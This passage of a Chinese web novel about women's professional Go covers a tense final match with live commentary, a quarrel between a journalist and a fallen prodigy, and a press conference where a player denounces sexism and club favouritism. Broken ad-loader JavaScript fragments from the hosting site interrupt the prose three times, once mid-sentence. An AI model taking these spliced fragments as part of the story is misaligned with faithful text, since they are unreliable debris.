从遇英问:“小庭姐姐么?” 赵良甫摇头: “不,是言宜歌。” ——盘面上,赫然是他们昨晚集思广益想出来的、专门为言宜歌而生的布局策略。 当时的他们只觉得这是兵行险招,权宜之计。从遇英甚至笑称这是什么怪棋,关建伟也摇头说,从来没有见过这样的下法,不知道言宜歌会不会急眼上当。 若干年,在庭见秋无数次的打磨成熟之后,人称这一套布局为: 短刀流。 17.对杀 短刀流,顾名思义,核心是在布局时追求速度和效率,而看轻棋形的完整程度,如将一把把短刀插在桌面上一样,将棋子安插在棋盘四处,抑止对方的发展。 这种布局方法,看似随心所欲,其实极为看重棋手的棋感—— 在庭见秋初次摆出短刀流布局的这局棋上,便显示出了罕见的棋感天赋。 盘面上,黑子看似孤立、薄弱,实则在纵横十九道之间,遥相呼应。恰如庖丁解牛,别人只见牛的全貌,而敏锐如庭见秋,见到的,是整盘黑棋隐于棋盘之下的经脉,仿佛盘上棋子都成活物,随着庭见秋刻意压低的呼吸,起伏不定,蓄势待发。 棋至四十手,言宜歌悍然落子,向庭见秋的孤棋下手。 庭见秋棋形轻盈,以攻为守,在发动数片黑棋一起抵御言宜歌攻势的同时,补强自身。 言宜歌几次攻击落空之后,陡然意识到,庭见秋看似无厘头的布局,实际上生成了一张透明的蛛网,她越挣扎,网越密实,缚得越紧。 她要寻求挣脱。 …… “言宜歌三段在二路扳了一手,在掠夺黑子实地的同时,尝试着破眼。” 围棋中,两眼成活。杀棋,就要破眼。 “这一手,黑棋必须要应,直接挡住,或单退,都可以,不然没有做出第二只眼的空间,这块黑棋只有死路一条。” 攀柔在庭见秋的两个可能应手处,轻轻一指。 耳机提示她,庭见秋已落子。 攀柔一怔,举着黑色磁石的手在空中顿住。 “庭见秋选手没有回应言宜歌的这手扳……她下在了这里。” 盘面上,受到言宜歌白棋威胁的黑色长龙,与另一块单薄的白棋紧贴着,如交颈鸳鸯,两相依偎。庭见秋无视言宜歌的杀招,以一招凶悍的挖,威胁身侧那片白棋与外部的连接。 庭见秋在宣战:一黑一白,一死一生。如果言宜歌选择将长刀捅入黑龙腹心,那么庭见秋也会立即展开对白棋的绞杀。拼气搏杀,无非看谁更擅长复杂战斗的计算。 攀柔笑道:“看来我们的庭见秋选手有非常强烈的战斗欲望。……下一手,言宜歌避其锋芒,选择逃出这条白棋大龙。” 台下,赵良甫默默摊开手心,低头一望。一手的湿汗。耳畔,心跳沉重急促,如擂鼓轰鸣。 犹记出门前,他对庭见秋说的,赢棋的要领是将言宜歌拖进自己的棋里……还差一些。只差一些了。 “但是庭见秋选手仍然没有回护她的黑棋,而是展开了对想要出逃的白棋的攻击。挖之后,黑棋下出两手连扳,白棋的薄弱点瞬间暴露无遗。” 攀柔慢条斯理的解说声里,有着掩不住的惊喜。庭见秋的杀棋手筋,身法如飞鸿般灵动,饶是她退出一线比赛之后,做了近十年的赛事解说,还是忍不住眼前一亮。 “此时,在封锁言宜歌的白棋的过程中,庭见秋布局时期散落在棋盘上的残子,竟然都奇迹般地发挥了它的作用,像是预知了现在的情形,早早埋伏在了相应的位置。而言宜歌的白棋,完全处于被动的状态,为了补好断点,在黑棋的围攻之下走成一团……” 赛场上,言宜歌身形坐得板正,手却已不由地抬起,护住半张脸,手指抵在鼻尖——每个棋手,都有自己思考时的习惯性动作,对言宜歌而言,一旦局势紧张,她就会用这种方法,强迫自己有节奏地放慢呼吸,听着自己的呼吸声调整思路。 在言宜歌长考的同时,攀柔已向台下的记者和棋友演示了几种变化: “……从这几种变化中,我们可以看到,白棋已然被黑棋完全封锁,再也没有逃出去的希望了。被封锁的白棋,只有最后一条活路,就是杀掉和它紧挨着的黑棋。但从世女邀请赛的前几场赛况而言,庭见秋是卓越的战斗专家,言宜歌三段则向来以稳健见长,如果这盘棋陷入你死我活的乱斗,言宜歌三段未必讨好。” ——只有杀棋一途……了吗? 赛场之上,言宜歌不知怎地,在最紧张一刻,忽想起十一岁时,她初踏入朝国首尔围棋道场,面会年近知天命的“朝国棋圣”韩智闵的情形。她犹记得棋室幽静,檀香袅袅,正中高悬一幅劲笔书法,上书“嫏嬛”两个汉字。还有剔透云子在两指之间冰凉沉重的触感,和老师抽烟多年而沙哑粗重的、总含着爽朗笑意的声音。 “棋之一道,以杀止杀。”韩智闵与她下了一盘指导棋后,向她微笑着说了这样的话,“你精于计算,有难得的大局意识,很有成为职业棋手的潜力。只是为什么要把自己战斗的锋芒掩藏起来,一味地避战呢?” 身量尚未拔高的少女,在棋圣关怀的目光下,巴不得将整个身子团起来,缩在木质高椅上。她用在国内突击学了两个月的朝语,怯生生地断续答道: “因为,我怕,杀不过您,我会输。” 韩智闵大笑道:“棋桌上,有赢就有输,有什么可怕!真正可怕的是,一味龟缩,错失战机,把胜利拱手让给对手。” 朝国学棋七年间,她受尽韩棋圣的关怀教诲,朝乾夕惕,刻苦练棋,终于升至职业三段,出师回国,与京城华一签约。本以为身为职业棋手的前景一片光明,却如身入瓮中,生生龟缩了四年。 如今,唯有奋起,以白石长剑,斩碎樊笼! “言宜歌三段终于应战,在黑棋大龙腹部,发动攻击!”见白棋走势积极,攀柔为之一振,不由朗声道,“庭见秋棋手显然也利用对手思考的时间,算清了这里的死活变化,应招很快。两位棋手的嗅觉都相当敏锐,直奔对方棋形最薄弱最紧要的地方——” 赵良甫心下暗自叫好。 他辅导庭见秋的数月来,早已察觉她行棋看似率性随意,天马行空,实则早在心中算好棋路;看似步调轻灵,实则力量极大,宛如在波平如镜的海面之下,足以将巨轮撕毁的暗流。 只要庭见秋笃定地举起屠刀,前方便必有一场血腥浩劫。 言宜歌,终于入她彀中。 接下来的四十分钟里,攀柔只在棋桌之上摆了十三手棋。 赛场上,两名女棋手毫不吝啬地挥霍时间思考,以便拿下这决胜的拼杀;大厅棋室里,攀柔利用棋手长考的时间,邀请台下棋友上台试下,试图摸清此处最佳的变化。 每次棋谱更新,攀柔都不禁暗叹,两位棋手在绝境之中,潜力迸发,总是能想出远高于她和众棋手的妙招。 然而棋局终有输赢胜负,十三手棋之后,复杂的战斗渐趋明朗,攀柔在试下几次之后,不得不向台下的记者、棋友们承认: “白棋与黑棋的这场对杀,不论如何,白棋始终差一气。” 在耀目的闪光灯中,攀柔的语气有种尘埃落定的松快感: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “虽然言宜歌三段也展现出了非常强大的计算能力,在棋风上也有一定的突破,但是,非常可惜,白棋大龙一死,黑棋盘面上领先二十目以上。这场棋,在我看来,已经差不多结束了。” 她的话,无异于提前宣布,庭见秋战胜言宜歌,取得了世界女子邀请赛的冠军。 台下一片喧闹。 世界女子邀请赛,虽以邀请青年女棋手为主,以交流为宗,但毕竟是国际赛事,竟然被一个名不见经传、父亲还身陷作弊丑闻的业余女棋手摘得桂冠?! 然而,下一秒,棋谱又更新了。 言宜歌没有选择认输,也没有在差一口气活棋的长龙上负隅顽抗。 出乎攀柔的意料,言宜歌借助白棋先前挣脱黑子时,落在外势的几手接应的废子,竟纵身向下一跳,打入庭见秋在开局下托退定式时,过分的一手拆四中间。 她以残破之身,威胁庭见秋角上孤棋。 白棋,还没输! “言宜歌棋手再次……挑起了战斗。” 攀柔的声音里带着敬佩与不可思议。 面对庭见秋这样强势的棋风,不少棋手都兵败如山倒,被杀之后,形容委顿,只能投子认输。 言宜歌不是。 她顽强如野草,风愈厉,她便愈韧。 接下来,陷入长考的,换成了庭见秋。 棋桌前,庭见秋因疲惫透支,面容苍白得有些可怖,却像抛却肉身一样,一动不动地沉着看棋。额前微鬈的棕发垂落,略遮了视野,她也并不挑开。 只剩一双淡眸,不时一眨,如深潭一般,映着黑白分明的棋子。眼底光影摇曳,是她的眼神飞快地在全局中来去。 她没花多少时间便如梦初醒: 在她尝试封锁白棋时,言宜歌的几步挣扎,绝对不是无谓的废棋。恐怕在当时,言宜歌一边尝试挣脱,一边已打量着她松散的棋形,计算着一旦失利,如何背水一战。 她到这一刻才意识到,言宜歌是一个缜密、坚韧远胜于她的强大棋手。 言宜歌当之无愧,独步当今华国青年女子棋坛。 “……庭见秋选手只剩下最后十分钟就要进入读秒环节了。” 攀柔不自觉地语带忧心。 言宜歌这一步打入,在外部几枚看似无心插柳的白子的映衬之下,显得尤为棘手。 按照庭见秋棋手一贯表现出来的棋风,自己的棋子被如此蛮横地分断,必展开一场艰难的乱斗。 然而—— 棋谱更新。 “庭见秋棋手……”攀柔怔怔地,“没有选择对杀。她走了相当保守的一步棋。虽然任由白棋进一步搜刮,但上方一块孤棋已然成活。” 这绝不是庭见秋往常的棋风,更像是言宜歌的路子:在判断局势占优的时候,以稳为上,化优势为胜势。 反而是言宜歌,此时却在积极地开战,像是棋桌上杀红了眼的庭见秋。 哪怕有人跟攀柔说,她们俩交换了持方,恐怕攀柔也会相信。 攀柔按照接连更新的棋谱,在竖立的硕大棋盘上,摆出两位女棋手的实战: “下方被白棋分断的一块孤棋,还在白棋的围攻之下,艰难求生……” 她指了指那手在布局之初便令她深感不安和困惑的拆四。 “庭见秋选手选择开劫。” 18.劫争 庭见秋自三岁学棋,最爱净杀。 于她而言,围棋是战斗,仅此而已。布局是列兵布阵,中盘是操戈酣战,官子则是鸣金收兵,整饬队伍。既然是战斗,那当然是你死我活,至死方休。 所以,她不喜欢打劫。 每逢劫争,围棋就仿佛从黄沙阵地,转至两军营帐之中,两方各派出羽扇军师,陈列利弊,计较得失。一方必须得摆出足够诱人的筹码,吸引对方的应手,才能够提劫,反之亦然。如此往复,直到一方无法再找出有价值的劫材,另一方便可以选择消劫。 劫争,是一门平衡的艺术,是高者抑之,下者举之,有余者损之,不足者补之。 天之道,损有余而补不足。* …… “白棋的攻击相当严厉,庭见秋选手应当是认为直接与白棋对抗,很难做活,不如选择打劫。”攀柔解说道,“先前,白棋与黑棋的对杀,为言宜歌一方提供了更多的劫材。言宜歌只要落子威胁黑棋大龙,庭见秋必须回应,否则刚刚取得的优势,就都拱手让回去了。眼下的劫争,对劫材较多的言宜歌相当有利。 ——“而黑棋的劫材,在哪里呢?” 赵良甫通宵一宿,眼前已有些模糊,勉力将手肘撑在桌面上,支持着自己看棋,两只痩而皱的手微颤着,纹路中浸满冰凉的汗水。 哪怕当年赵良甫代表华国队出战华日擂台赛,也没有到如此失态的地步。他不知自己是远离一线比赛太久,还是将庭岘的女儿,像自己不曾有过的女儿一样,看得太重。 一旁关建伟和丛遇英小声地交谈着: “黑棋劫材太紧张了,我只数出来3处。” “我数出来4处。左上星位打,白棋应了之后,黑棋可以再断一下,白棋还是得应,你看。” “没错。但还是远远……不够。” 赵良甫的判断和两个孩子差不了多少: 黑棋的筹码不够。 攀柔跟随棋谱的变动,在棋盘上展示了实战新增加的十六手棋: “行至现在,黑棋的四处劫材,已经全部用尽。” 攀柔又摆出最新的三步: “白棋仍旧攻击黑棋大龙,黑棋应,白棋提劫。” 没有劫材的黑棋,下一步会下在哪里? 大厅中,每一名棋手、记者,以及台前的攀柔,都屏息等待着。 两分钟后,棋谱再次更新。 攀柔手握黑色磁石,一手“镇”,落在正在围攻左上角拆四孤子的白棋之上。 攀柔不语,场下所有人跟随着陷入沉寂之中,都忍不住沉思回味这一手棋的高妙之处。 ——这不是以实地换实地、以死活换死活的常规劫材;庭见秋拿捏的,是外势。 这一招“镇”,如果言宜歌不应,消劫之后吞下那一颗看似宝贵的孤子,那么庭见秋便可以施施然在白棋头顶再补一枚黑子,将白棋彻底封锁,破除白棋进一步向外发展的一切潜力。 这是庭见秋耗费半小时计算的结果。她有信心,就算她失去了一块棋,仍然能在获得坚固外势的情况下,取得胜利。 这是她与言宜歌的协商: 你是要吃下我这一块棋,还是要在中腹进一步发展? “言宜歌应了这步镇,跳了出去,不愿意舍弃外势,试图突破庭见秋的封锁。黑棋再次提劫。” 挖、断、压、拐、冲。黑棋接连使出精妙又严厉的封锁手筋,仍是以庭见秋一贯的、锋芒毕露的棋风,强迫白棋应劫。 一场所有人都曾以为会很快结束,最后却惊心动魄、妙手迭出的劫争,在读秒声长达二十分钟的催逼之后,终于走向终结: 庭见秋最终棋差一招,劫尽棋亡。 赛场上,言宜歌消劫的手不住地颤抖着,几乎无法提子。 她也没有劫材了。 如果庭见秋还能在盘面上找到一处劫材,她只有投子认输一条路。 她在劫争大优的局面里,被庭见秋,生生逼到了置之死地而后生的绝境。 言宜歌率先消劫,庭见秋虽然劫争失利,但毕竟在官子阶段取得了先手,神色波澜不惊,仿佛方才的激烈的劫争从未发生,垂首沉着地寻找最有价值的官子。 这场长达四个小时的棋局,至此,终于收官告结。 言宜歌粘完最后一个单官,举手示意裁判。在赛场一旁观赛的谢砚之走上台前,为两名棋手数子。 “言宜歌执白,一目胜。”谢砚之向两名棋手分别颔首一笑,“非常精彩的棋局,辛苦了,两位。” 庭见秋扬起面孔,勉力回以一笑。 其实她笑不出来。她满脑子还如沸水一样翻涌着那一场复杂的劫争。还能不能再找到一个劫材?还有没有一箭双雕的手筋,可以造出新的劫材来?在打劫之前,中盘阶段,如果她下得再谨慎一点,为自己留下一些可用的劫材,会不会一切都不一样?…… 可棋赛没有如果,输了就是输了。 就像老爸去世之后,她也不能不停地想,如果她早点发现老爸彻夜头疼的症状,带他去看医生,而不是鼓励他去参加什么中日擂台赛的预选赛,一切会不会不一样。 ——这是在拿已经破灭了的希冀,惩罚无力推知未来的凡人。 谢砚之道:“那我们就先去吃饭,下午颁奖……” 言宜歌却已将桌上棋子收拾干净,啪地在星位上落下一子:“复盘。” 庭见秋应声直起身子,重回比赛的状态,跟着落子。 谢砚之赶忙劝:“餐厅快没饭了,先去吃点东西,一会复盘也不急。” 言宜歌一边落子一边不客气地:“师兄帮忙打包送来吧。” 庭见秋头也不抬:“我要吃蟹腿和牛排。” “巴斯克蛋糕,开心果味的,再打包点冰淇淋来。”言宜歌转向谢砚之,认真地嘱咐道,“冰淇淋化得很快,所以你记得要跑两步。” 谢砚之额角微微抽动,挂着礼貌的假笑,一手揪一个,拎着衣领从椅子上提起来,以不可违逆的温和声调: “去吃饭。” * 棋赛一结束,杨惠子便从大厅里偷摸出去,抱着她的宝贝相机,猫着腰,蹑手蹑脚地向赛场去。 开放给记者采访的时间,在下午颁奖礼之后。理论上,记者不允许现在去赛场打扰棋手。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 果不其然,没走两步,她就在走廊上被工作人员拦下。杨惠子见工作人员无意通融,急得将脖子上的记者证摘了,高声道: “我不是采访,我是去见朋友。” ——“你的脸皮,怎么还是这么厚?” 身后,一个低沉而略带怒意的声音传来。 杨惠子认识这个声音。她曾经和这个声音的主人,也称得上是“朋友”。那时,她听到的这个声音,总是带着玩世不恭的笑意,他可以满不在乎地提起自己输棋的经历,好像世俗的一切挫折、贬低,于他,都无所谓,他是偶寄人间的逍遥客,围棋于他不过是潇洒的游戏。 直到她写出了那篇洋洋洒洒万余字的人物稿,以此为敲门砖,入职凌风体育,将这篇人物稿发表在凌风体育的公众号上,一炮而红,成为她不长的职业生涯中最成功的作品。 发表的当天晚上,她发现仇嘉铭把自己的微信拉黑了。 那一刻她才意识到,可能他其实是在意的。也许,他将最隐秘的痛楚,用调笑的语气,如蚌取珠一样地挖给她看了,而她竟然以为他是真的无所谓,转头就把这枚无数痛楚结成的宝珠,卖给喧嚣众口。 杨惠子愧疚过,一瞬间。 但很快,仇嘉铭将围棋当作妆点自身的漂亮行头,开通了微博和直播账号。杨惠子不知怎地,竟然每晚守着他的直播间,整夜听他在直播里说些言不及义的废话,看直播间里满屏被仇嘉铭东北腔段子逗出来的“哈哈哈”。在所有人都沉湎于轻浮的快乐的时刻,杨惠子胸前涌起剧烈的悲哀和愤恨:一个天才,在她眼前,亲手放弃了自己,在名利场里毫不可惜地消磨着天赋。 她不再愧疚了。毁了仇嘉铭的,是他自己,不是她那篇只整理了事实的人物稿。 她再也不点开仇嘉铭的直播间了。 后来,他们在一些棋赛上,重逢过几次。杨惠子觉得有些尴尬,仇嘉铭却又是一副无所谓的样子,还跟她打招呼,和她开一些莫名其妙的玩笑,让杨惠子恍惚以为,她发现自己被仇嘉铭拉黑的那天晚上,微信屏幕上刺目的红点,只是一场幻觉。 此时此刻,仇嘉铭声音里毫不掩饰的鲜明刺耳的敌意,终于透露出他混不吝外表下的昭昭恨意。 她深吸一口气,回过身,直面仇嘉铭。 眼前的男人人高马大,一手插兜,深蓝色西装皱过又熨过,莫名有一分恣意随性的倜傥。那张总是缺心一般傻笑的英俊脸蛋,此刻却透着令人陌生的冷淡,眉宇微蹙着压低,质问般地看着她。 杨惠子咬字清晰分明,冷静地回答:“见秋那篇稿件不是我写的,我没有读到过,我也没有机会和权力阻止发表。” 仇嘉铭却似听到什么好笑的事,一声嗤笑:“你是不是以为我们会蠢到看不到推文底下的署名?” “我确实完成了前期的材料搜集工作……” “你知不知道这样一篇推文,会给她造成多大的影响?”仇嘉铭冷硬地打断,“你怎么写我,没关系,我知道我已经废了,我还能夸一句你说得对,骂得好。但庭见秋不一样,她很有天赋,她要走的这条路很难,你怎么敢……像糟蹋我一样,糟蹋她?” 19.记者会 仇嘉铭和过去一样,一次又一次地说着没关系、无所谓,仿佛只要不断地重复,就能说服他人,说服自己。 但这一刻,杨惠子能听出来他话音之下的隐痛。她甚至不明白为什么三年前她没有听出来,竟相信了这句“没关系”。这份隐痛,如深埋在喉咙口的鱼刺,仇嘉铭的每一次呼吸,都会牵动创口,他无力痊愈,只能自欺欺人。 杨惠子不愿意向他解释庭见秋的那篇推文。这是她和庭见秋之间的事,更何况,仇嘉铭此刻情绪上来,什么也听不进去。真正需要她解决的,是她和仇嘉铭之间的事。 “你觉得,是我糟蹋了你?”杨惠子镇定地反问。 仇嘉铭怒道:“你骗我,你说你是我粉丝,你陪我聊天,在我输棋的时候安慰我,我居然真的相信你……” “我没骗你,我是仇嘉铭的粉丝。” 杨惠子看着他泛红的眼角。素日里插科打诨、没个正形的男人,此刻却认真到了偏执的地步,将自己最不堪、最计较、最脆弱的一面捧出来。她忽地觉得自己仿佛被他炽热得过了头的情绪燎着了,竟也跟着刺痛起来: “但我是十年前那个仇嘉铭的粉丝。” 十年前,杨惠子刚升高一。 她中考考得一般,只进了一所普高,她不以为意,毕竟其他同学周末的时候都在补文化课,她却还在上着她那围棋兴趣班。于围棋,她没什么天份,段位停在业余2段,显然也没有成为职业棋手的可能性。和自己同期学棋的女生们,一个接一个地为了学业放弃,她还在下着,显得有些死皮赖脸。 实在是喜欢,喜欢到只是摸摸棋子都觉得快乐的地步。在课外阅读材料里,她读到苏轼那句“胜固欣然,败亦可惜”,她高兴地旁批道:这老头懂我。 唯一可恼的就是偶尔她下赢兴趣班上的男同学,总是会听到老师批评男同学的那句:“怎么连女生都下不过?” 她困惑不已:难道女生输棋,是什么天经地义的事吗?难道围棋班上的女生存在的意义,就是比照男同学们的棋力,给他们带来成就感和羞耻心?我不也是一名有好胜心、有自己行棋风格的棋手吗,为什么却被抽象成了坐标轴里注定低人一等的“女生”? 原来在老师们的眼里,她也不过是一块耗材,在一段时间内激励男棋手们的陪读,从没真正指望她下出什么成就来,等她攒够了失败的痛苦,就会和其他女生一样自行离开。 终于,在她搞砸了高一的第一次月考之后,妈妈来到棋院里,告知老师:杨惠子不会再继续学棋了。 最后一次离开棋院的那个下午,她坐着妈妈的小电驴,恍惚地回到家中。这个点,她本该在棋桌上酣战,此刻却坐在客厅绵软的沙发里,让她一时有点无所适从。 她突然想起来,自己可以看电视。 体育频道在直播围棋世界级大赛森田杯的八分之一决赛第三轮,由万众瞩目的华国围棋新星仇嘉铭七段,对阵日国棋手。 那一场,仇嘉铭行棋充满想象力,令解说连连爆发出“天才”的惊呼声。棋盘之上,黑色棋子柔光璨璨,棋形翩若惊鸿、婉若游龙。 原来围棋不仅是厮杀。围棋是艺术,它可以很美。 杨惠子还记得仇嘉铭获胜之后,直播的镜头从棋盘之上,移至仇嘉铭脸上,那一瞬的惊艳。当年的仇嘉铭不过二十出头,俊俏逼人,没怎么打理过的头发直竖着,像一只小刺猬,见镜头移向自己,他露出了尚不适应媒体的羞赧笑容,牙齿白亮,少年眼里满是真挚的热忱。 那是仇嘉铭光辉的二十五连胜,他职业的顶峰。 却是杨惠子告别围棋的一刻。 她在仇嘉铭身上,见到了她再也没有机会踏足的彼岸棋境。她曾真心实意地盼望过,棋桌上的男孩能带着这份热忱与天赋,披荆斩棘地走下去,为华国围棋创造一个无可比拟的神话。 ——而真正亲手掐灭了过去的自己的男人,竟然在她的面前,质疑她的真心。 杨惠子喉咙口发紧,重复道: “我是十年前的那个仇嘉铭的粉丝,不是你的粉丝。要说糟蹋,我没有本事糟蹋一个天才,是你放弃了,是你糟蹋了你自己。” 仇嘉铭像是被重重击了一拳,受伤地看着她,眼尾耷拉,喘息声粗重,像是野兽的嘶鸣。 “我问你,仇嘉铭,你现在每天几点起床?一天下几个小时棋?你上一次参加重量级的比赛,上一次下棋下得像杜鹃啼血一样要把全部的生命呕在棋盘上,是什么时候?” 杨惠子掷地有声地连连质问着。 “我不需要你的答案,但我可以向你介绍一下我眼中的庭见秋。她六点起床,十点睡觉,每天除了吃饭睡觉都在棋桌前,至少下十四个小时,如果当天有复杂的棋局,她还会熬夜复盘。——当然了,不管再怎么熬夜,她第二天还是雷打不动,六点起床。 “半年来,庭见秋小赛不断,大赛,只有眼下这一次,但无论大赛、小赛,她对待每一场战局,都无比认真。 “我喜欢庭见秋,就像我喜欢十年前的你一样。你说我是一个唯利是图的记者,没错。但我对值得尊敬的棋手,有一颗绝不辜负的真心。我也很清楚,你为什么这么喜欢庭见秋:你在她身上看到了过去的你,你想保护她,让她免于我的伤害。” 杨惠子厉声: “但你看清楚了,她和你不一样,就算我再怎么背叛她、中伤她,她都不会像你一样放弃。仇嘉铭,如今的你,不配站在庭见秋身边,不配在她身上投射过去的你的影子。” 仇嘉铭将脸深深地埋进手心里,挡住灰败的神情,浑身如坠寒窟,颤抖不止。 杨惠子见将近一米九的大高个,被她骂得这么可怜,像只淋雨大狗,气也消了,还有点内疚自己是不是话说得太狠,正打算再装模作样地鼓励他两声,身后传来男人清冽好听的声响: “还有人能骂穿仇嘉铭的心理防线啊?” 是谢砚之,笑吟吟地从走廊的另一侧走来。他身上的正装,明显比仇嘉铭身上的名贵不少,纹样精细,加上他举手投足自带世家风度,他一出现,埋头嘤嘤作响的仇嘉铭显得更丢脸。 ……像一坨巨大的废纸团。杨惠子忍不住想。 谢砚之身后,还有被他强行从棋桌上拎下来的两位冠亚军。 庭见秋一下棋桌,松懈下来,困得好像立在原地就能睡着,两眼被哈欠激出来的生理性泪水糊住,一双细长狐狸目半睁半闭,走路时歪歪斜斜,脚不沾地似的。 言宜歌走在最后,两手环抱在胸前,瘪着嘴,也不看谢砚之,一副在生师兄打断她复盘的气的样子。杨惠子暗忖,棋圈北极兔名不虚传。坐着的时候倒看不出来,一站起来,言宜歌身材瘦高,比例惊人,竟比庭见秋几乎高了近一个头,估计有一七五上下。 却长了张粉圆的精致脸蛋。 下一秒,漂亮北极兔冲着仇嘉铭,抬腿、张嘴:“往边上稍稍,这么大个挡道了啊。” 仇嘉铭嗷一声,捧着脸往墙边上缩了点。 杨惠子侧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 头看庭见秋,庭见秋似乎也在打量她。 不知道她听没听见自己的话。 杨惠子试探着:“秋秋,吃不吃巧克力?” 她兜里的巧克力捂了一上午,像她忐忑的心,快化了。 庭见秋眯矇着眼,歪着脑袋,想了想:“不吃。” 杨惠子猛地觉得自己心沉下去。 庭见秋又说:“因为我马上要吃饭了,我准备吃很多肉,现在吃不下巧克力。你可以先欠着我,以后我再问你要。” 她还没放下杨惠子工作上不管是有意还是无意对她造成的伤害,但态度已经软化了。她要杨惠子“先欠着”。 杨惠子听得明白,雀跃地:“那我能和你一起吃饭吗?” 谢砚之不着痕迹地替她拒绝了:“没有多的餐券。” 看来记仇的另有其人。 * 一点半,自助餐厅已不剩什么菜,庭见秋以狂风卷落叶的阵势吃完了餐盘里肉眼可见的所有肉类,吓得言宜歌和谢砚之纷纷把自己盘子好不容易抢到的肉,递到她盘子里去。等庭见秋好不容易吃饱,两人又一左一右,护送她回酒店房间里休息。 合上庭见秋房间的门,谢砚之问身侧还处于震撼之中的言宜歌:“她这个精神状态,你还想要她陪你复盘?” 言宜歌:“不敢了,我怕她输急眼了把我给吃了。” 庭见秋一进门,把脚上两只白鞋“咚”地一蹬,趴在整洁柔软的酒店大床上,把脸埋进枕头里,像一只大狗熊一样呼呼睡着。睁眼的时候,她迷迷糊糊地抬起手机看时间,发现已经把颁奖仪式睡过去了。 谢砚之没有打电话给她催起床,说明她不参加也没关系,他都处理好了。 奖杯谁代领都无所谓,奖金还给她就行。 于是她慢慢悠悠从床上爬下来,在卫生间洗了把脸,看自己脸色终于没那么像索命野鬼了,才出发去颁奖仪式现场。 还好,她还赶上了颁奖仪式后的记者会。 庭见秋出现在大厅后侧门时,正好言宜歌走到台上,坐到话筒前,恹恹地沉着脸,似乎很嫌弃这种长枪短炮簇拥的环境,懒得对着镜头露出她标志性的甜笑。 这是一副打算搞事的阵势。 庭见秋好奇,决定先不上台,让言宜歌尽情发挥。 主持人与言宜歌寒暄了几句,便开始走流程,点记者提问。 站起来的第一个记者,一个三十岁出头的圆脸男人,显然是言宜歌的粉丝,一开口便热情如火: “想请问一下宜歌妹妹,作为我们华国围棋的门面担当,美女棋手……” “等一下。”言宜歌冷着脸打断,“你叫我什么?” 主持人圆场:“小歌,我们先让记者问出他的问题。” 言宜歌不理,一字一顿地纠正道:“我是棋手,我有职业段位,凭本事考出来、升上去的。你应当称呼我为言宜歌三段。我在这个圈里混,靠的是我的棋,而不是作为什么门面担当,美女棋手。” 男记者慌了阵脚:“抱歉……” 言宜歌却显然不打算放过他: “这个问题我想问很久了:你们到底是来看我的棋的,还是来看我的脸的?我看你们写的新闻里,只要我一出战,就说京城华一使出了‘美人计’。你们是觉得那些下不过我的棋手,都是被我的脸漂亮死的吗? “——如果是这样的话,倒还蛮蠢的。 “被我的脸漂亮死的对手,还有你们这群记者,都蛮蠢的。” 20.江陵长玫 台下陷入了诡异的沉寂。 言宜歌的“蠢”字,字正腔圆,余音绕梁。 有记者用眸光偷偷瞥向主席台边唯一一名工作人员谢砚之,看他会不会出来维持纪律。谢砚之脖子上挂着个摆设似的工作人员牌,悠闲地半靠在大厅的圆柱上玩手机,全没听见似的。 倒是言宜歌很大度地对第一个发问的记者: “你换一种称呼,继续提问吧。” 那记者显然被言宜歌连珠炮似的攻击震得发昏,缓了缓神才端正了姿态接着问: “言宜歌三段,我是江陵晚报体育栏目的记者许向东。我想请问,对于前阵子网络上对你和京城华一解约风波的猜测,你认可吗?” 言宜歌不动声色地把问题抛回去:“什么猜测?说来听听。” “大概是,谢砚之九段和京城华一的主理人不合,你出于和谢砚之九段的私交,赌气离开京城华一……” 一旁装聋的谢砚之这才收起手机,微直起身子,观察着现场的情况。 躲在门口的庭见秋,听乐了。 所谓“私交”,就是恋爱关系的委婉说法。 他们竟然把谈恋爱上头献祭事业这种荒唐俗套故事,往庭见秋重返棋场以来见识过的最棘手、最可敬的对手脑袋上套。 言宜歌似乎也被逗着了,露出一个戏谑的笑,朗声答: “各位记者朋友们都检查一下收声设备,录好了:我和京城华一解约,与谢砚之无关,纯粹是因为我在京城华一没有棋下。我十八岁在朝国升上职业三段,回国四年,积分没有任何变化。这四年里,每年我能在大赛里参加的正式对局,不超过十五盘。” 十五盘,一个少到夸张的数字。 庭见秋在心里默数:谢砚之这种级别的棋手,一个月就能有十五场正式对局。 言宜歌显然还没有说完: “一开始,我也以为是我水平差,不如人,不让我上团队赛,可以。京城华一能者如云,光是现役九段就有五个,摆在门口的世界冠军奖杯,团体加个人有十七个,轮不到我打比赛,我接受了。” “可我想在棋队里跟着教练学习,我想自己报名去参加个人赛的时候,京城华一给我安排了无数的通告,拍综艺、拍广告、上直播间,我像一个招财猫一样,哪里要赚钱就摆在哪里。每天早上,棋院里的男棋手拿清水泼把脸就能来下棋了,我得化全妆,因为要应付随时会出现的记者。如果元天宇他们看见我素颜,还会把我叫去训话,要我注意形象。 “化妆卸妆花费多少时间,面对镜头一遍遍假笑花费多少时间,全国各地跑宣传、开讲座,又花去多少时间?四年了,我拼命压抑隐忍,维持对外形象,证明自己的价值,以此讨到参加比赛的机会,结果呢?云松杯,我连参加预选赛的机会都没有。不只是我,不只是这一场比赛,很多有能力的棋手,都在京城华一没有棋可下。” 云松杯虽是个人战,但也为俱乐部设置了奖项,所以棋手必须由所效力的地方俱乐部举荐才能参赛。 京城华一作为华国资历最老、棋手阵容最强大的俱乐部,能够举荐20名棋手参加预选赛。 20个名额,足以涵盖一个俱乐部里所有有大赛实力的选手。 然而却没有言宜歌。 立即有记者举手追问: “京城华一没有设置内部赛,选出拥有参赛资格的20名棋手吗?” 言宜歌答:“没有,全凭姓元的上嘴唇碰下嘴唇,点兵点将。” 京城华一,姓元。 元天宇六段,28岁,既是京城华一签约的一名职业棋手,也是京城华一现任的主席。 元天宇的父亲,元修明九段,现任华国围棋“棋圣”头衔的持有者。他是二十年前华国围棋体制改革后,创建地方俱乐部和棋队的第一人,在很长一段时间里,兼任京城华一的主席,和华国围棋协会会长。如今将俱乐部全权交给独子,他仍掌管着整个华国棋协。 所以,也可以说,华国围棋姓元。 又有记者抬手提问,语气带着冰冷的轻蔑: “所以,我可以理解为你在当众攻击元氏父子二人?” 